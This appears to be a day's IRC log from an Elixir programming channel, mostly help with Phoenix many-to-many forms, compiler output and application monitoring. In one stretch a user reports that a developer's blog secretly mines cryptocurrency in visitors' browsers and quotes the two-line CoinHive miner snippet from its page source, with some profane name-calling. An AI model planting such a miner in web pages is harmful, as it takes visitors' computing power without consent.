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00:04 <nickjj> OvermindDL1, thanks for making that post on intercoolerjs
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00:28 <sms> Ankhers: I have a many_to_many relationship between categories and posts, and I don't know how to render the categories in the template
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00:30 <Ankhers> sms: Have you taken a look at Phoenix.HTML.Form.select/4? (https://hexdocs.pm/phoenix_html/Phoenix.HTML.Form.html#select/4)
00:33 <sms> Ankhers: Yeah, I was trying to use select, I just don't know what to do in the controller I think
00:35 <sms> And I don't think I'd want a select, I'd want it to be a group of checkboxes I think
00:36 <Ankhers> Right, sorry. You said many to many. You could also use multiple_select/4
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00:37 <Ankhers> I guess it depends on the UX you want.
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00:57 <sms> Not even sure I'm doing it right in the controller
00:58 <sms> I just pass on the changeset Posts.change_post(%Post{})
00:58 <sms> And in the Post I have the cast_assoc of the categories
00:59 <Ankhers> You don't need to cast_assoc in the new action.
01:01 <sms> Oh yeah, that's in the Post changeset, not the controller one, sorry
01:03 <Ankhers> Okay, so that should be fine.
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01:04 <sms> When I passed :category to a select form all I got was one selection called Class
01:05 <sms> I currently have two categories to select from
01:05 <sms> But I think that means I'm close
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01:07 <Ankhers> Did you grab your categories from your database?
01:09 <Ankhers> Do you have your code somewhere?
01:09 <Ankhers> Somewhere I can see it*
01:09 <sms> Yeah let me commit what I have, I don't hink I grabbed my categories, not sure where that goes
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01:15 <sms> Actually I'll just paste it, easier to isolate that way
01:20 <sms> Ankhers: https://ghostbin.com/paste/vr8x3
01:20 <sms> If you need anything else just ask, I'm pretty sure that's all the relevant info though
01:21 <sms> Maybe the change_post?
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01:31 <demio> wow
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01:31 <demio> this cheeky fucker
01:31 <demio> https://www.dropbox.com/s/v9vzeg43d1kf0f4/Screenshot%202018-06-12%2002.28.04.png?dl=0
01:31 <demio> visit his dev blog
01:31 <demio> mine bitcoin
01:32 <sms> demio: What plugin are you using to detect that?
01:32 <demio> https://adguard.com/
01:33 <demio> i use it on all my computers
01:33 <demio> and on my mobile devices
01:33 <demio> on mobile devices it installs a local VPN
01:33 <demio> on the computers it "hijacks" your network
01:33 <demio> its pretty much all open source
01:33 <sms> Oh nice, thanks. Think I used this on my phone for a while actually
01:33 <demio> its really good
01:34 <demio> gets rid of all the tracking shit
01:34 <demio> and warns you when some cheeky fucker is trying to make your browser mine bitcoin
01:34 <demio> seriously
01:34 <demio> wtf
01:34 <demio> in another topic
01:34 <sms> Yeah, that's so scummy
01:34 <demio> im trying to find a version of this that works: https://github.com/AgilionApps/remix
01:34 <demio> with umbrella apps
01:35 <demio> @sms super scummy
01:35 <demio> i dont mind "ads"
01:35 <demio> but you gonna hijack my CPU
01:35 <demio> fuck off
01:37 <demio> and off i go: https://twitter.com/carloslage/status/1006349726168551424
01:37 <demio> :3
01:40 <ivan> demio: do you think that is a good idea when they could have been compromised or something
01:40 <demio> if they were compromised
01:40 <demio> now they know
01:41 <demio> but i seriously doubt it
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01:44 <ivan> even if intentional, you are more likely to get a resolution and keep the peace without hey fucker
01:45 <demio> i dont care about peace when some asshole tries to hijack my cpu
01:45 <demio> to mine cryptocurrency
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01:45 <demio> when i visit their blog
01:45 <demio> dodgy as fuck
01:46 <ivan> but I care about the peace of the elixir community even when someone is doing something bad to a web browser
01:46 <demio> sure
01:46 <demio> you do you ;)
01:46 <demio> when someone tries to hijack my CPU
01:46 <demio> its personal
01:46 <demio> i need it to run my software
01:46 <sevenseacat> sigh
01:47 <demio> the name of his blog kinda gives it away
01:47 <demio> "Hostile Developer"
01:51 <demio> i mean, you can compare it to my blog, im pretty sure i dont even have google analytics on it
01:51 <demio> https://carloslage.net
01:52 <demio> this is on the bottom of the source of his blog
01:52 <demio> var miner = new CoinHive.Anonymous('zmOZS6Bce7Nsw6WOSrt2cAJvIy4CvcNV');
01:52 <demio> miner.start();
01:52 <demio> doesnt even make it use 0.1 cpu or anything
01:52 <demio> this shit would be shooting my CPU to 100% on all cores
01:53 <sevenseacat> ok you called him out, move on
01:53 <demio> im done :)
01:53 <demio> now i need help with something tho :/
01:53 <demio> is there a mix plugin that automatically recompiles your running dev code?
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02:02 <Zarathu> :|
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02:03 <Zarathu> sevenseacat: did your company make the switch to .ex or something?
02:04 <sevenseacat> I don't have a company, so no
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02:04 <Zarathu> oh. i must be thinking of Radar
02:04 <sevenseacat> he's around here too
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02:05 <Zarathu> yeah, weird. i guess people are migrating over
02:05 <sevenseacat> its possible to use more than one language :P
02:09 <ivan> I started using Elixir after ruminating about not wanting Python or JavaScript for several days and remembering that there was that language I passed over because of the syntax
02:09 <ivan> soon everyone will be here from the gravitational pull of getting sucked into existing Phoenix projects ;)
02:19 <Zarathu> i came after being frustrated with haskell's shortcomings
02:19 <Zarathu> OTP is just so good
02:21 <Zarathu> i do kinda wish that erlang was statically typed though
02:21 <Zarathu> haskell's type system is 10/10
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02:22 <ivan> https://www.ponylang.org/
02:23 <ivan> http://learnyousomeerlang.com/types-or-lack-thereof#for-type-junkies there was an attempt to put static types in Erlang
02:34 <Zarathu> ivan: :o
02:34 <Zarathu> this is super interesting. (the 2nd link)
02:34 <Zarathu> thanks! gonna read that paper
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02:39 <sms> Ankhers: Don't mean to bother, but did you take a look at the paste? I need to do something like return %Categories in the %Post right?
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04:51 <gonz_> Zarathu: Which shortcomings are those (Haskell's), exactly?
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04:54 <gonz_> I'm curious because as far as a general purpose programming language goes I think Haskell is just about the best chance we have. It just happens that for the very specific purpose of creating long-lived services OTP and the BEAM is easily the best thing out there.
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05:12 <elixir-lang-repo> [elixir] eksperimental opened pull request #7743: [ci skip] Improve Enum docs regarding "truthy values" (master...enum_truthy) https://git.io/vhwoK
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06:25 <sms> Why can't I use the changeset in the controller?
06:25 <sms> It just complains that it's private or unavailabe and that I should use change_posts instead
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07:33 <Radar> Zarathu: yeah you're probably thinking of the company I work for. And it's not so much of a switch as it is that we're using _both_ Ruby and Elixir.
07:33 <Radar> Zarathu: We have a big Rails monolith that we're ripping parts off and moving to Elixir services instead. Not everything will be Elixir.
07:33 <sevenseacat> *popcorn
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08:28 <nyaray> Zarathu: https://github.com/expede/algae
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08:55 <kapil___> How to convert map to keyword list?
08:58 <kapil___> Map.to_list() thanks
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10:02 <elixir-lang-repo> [elixir] ericmj closed pull request #7743: [ci skip] Improve Enum docs regarding "truthy values" (master...enum_truthy) https://git.io/vhwoK
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12:50 <hauleth> Are there any plans to provide machine readable compiler output?
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12:51 <elixir-lang-repo> [elixir] michalmuskala pushed 1 new commit to master: https://git.io/vhrO7
12:51 <elixir-lang-repo> elixir/master b29ae38 Michał Muskała: Fix documentation of GenServer...
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12:51 <micmus> hauleth: what do you mean?
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12:54 <hauleth> micmus: AFAIK current mix compile output is easily parseable by wetware, but what I want is to somehow parse it using software to provide nice ouptut in Vim QuickFix
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12:55 <micmus> hauleth: in 1.6 we added structured output to mix compilers that you can consume when you invoke them programatically. That's what the ElixirLS extension uses in VSCode and it works really well.
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12:55 <micmus> I think doing something like that is preferable than doing rich data -> text -> rich data
12:56 <hauleth> micmus: I will look at it, but still I need to invoke it from CLI, so some kind of flag like Git's --porcelain would be useful
13:00 <micmus> hauleth: problem with invoking it from CLI in editors is that it compiles the modules so it breaks things like live reload in phoenix, etc, so I'm not actually sure it's preferable.
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13:00 <micmus> Isn't there some work to integrate the ElixirLS with VIM? I think the emacs integration is progressing well. This would give you all of this and possibly more for free
13:01 <hauleth> micmus: I have integrated ElixirLS with Vim, but I do not see how to use these features
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15:44 <wojtekmach> josevalim: regarding `mix xref graph --label compile`. Did we discuss what happens if A has runtime dep on B, but B has compile time on C, thus C recompiles A - so maybe C should show up in the graph after all? I think we either didn't discuss it, or we did, and it wasn't trivial :) In any case, I think it would be useful
15:48 <josevalim> i think it was supposed to show transitive buut i don'tremember
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17:45 <beefjoe> can someone write a line which returns nil ?
17:46 <beefjoe> I'm not good with elixir
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17:48 <njichev> nil
17:48 <dysfun> nil is the correct answer
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18:15 <nickjj> i vaguely remember hearing either chris or jose talk about having a web ui dashboard to get really good metrics out of your phoenix apps and it was coming at some point in the future -- is that anywhere near happening in the next elixir/phoenix release?
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18:19 <nickjj> that talk was https://youtu.be/pfFpIjFOL-I?t=1413
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18:37 <hauleth_> nickjj: you can use vmstats for gathering metrics for VM and using Instrumenters is dumb easy
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18:40 <nickjj> hauleth, the goal of the talk was to have a standalone lib that just sets up /metrics (or similar) and give you a shiny dashboard of useful generic stats without any work
18:41 <nickjj> and then give ways to easily hook into it for custom domain specific stats
18:41 <hauleth> nickjj: https://github.com/shinyscorpion/wobserver
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18:41 <hauleth> The only thing that Phoenix lacks right now are good APM tools
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19:10 <alisdair> the prometheus plug instrumentor is really good
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19:12 <tristan__> need an OpenCensus plug instrumentor :)
19:13 <tristan__> for real APM, not just stats
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19:22 <hauleth> alisdair: I use custom one and it seems much easier for me (Phoenix-only though as it uses Phoenix.Instrumenters) http://ix.io/1d9g
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20:11 <nyaray> apm?
20:12 <tristan__> application performance monitoring
20:12 <nyaray> ah, thanks
20:12 <tristan__> tracing and stats basically
20:12 <nyaray> is that abbreviation, like, a thing?
20:12 <tristan__> yea
20:12 <tristan__> https://www.datadoghq.com/apm/
20:13 <nyaray> *tries to burn-commit it to memory*
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20:14 <tristan__> for which I keep poking ppl to use https://opencensus.io/
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20:35 <nyaray> "for which"? as in using opencensus to feed data to datadog? wat?
20:38 <tristan__> APM (tracing and stats0 in general
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20:52 <sms> Think I found out how to get my many-to-many setup in the controller
20:53 <sms> Now I'm wondering how I get multiple selection boxes rendering in the template based on the names of categories in the db
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21:50 <elixir-lang-repo> [elixir] michalmuskala pushed 1 new commit to master: https://git.io/vho8l
21:50 <elixir-lang-repo> elixir/master 4927b6e Michał Muskała: Leverage defguard in Inspect.Algebra
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22:20 <nyaray> tristan__: ah, ok, derp.
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22:45 <sms> Wait, am I even supposed to use a changeset for this use case?
22:46 <sms> I suppose I could just return the categories and build the input forms manually, then serialize them in the create handler
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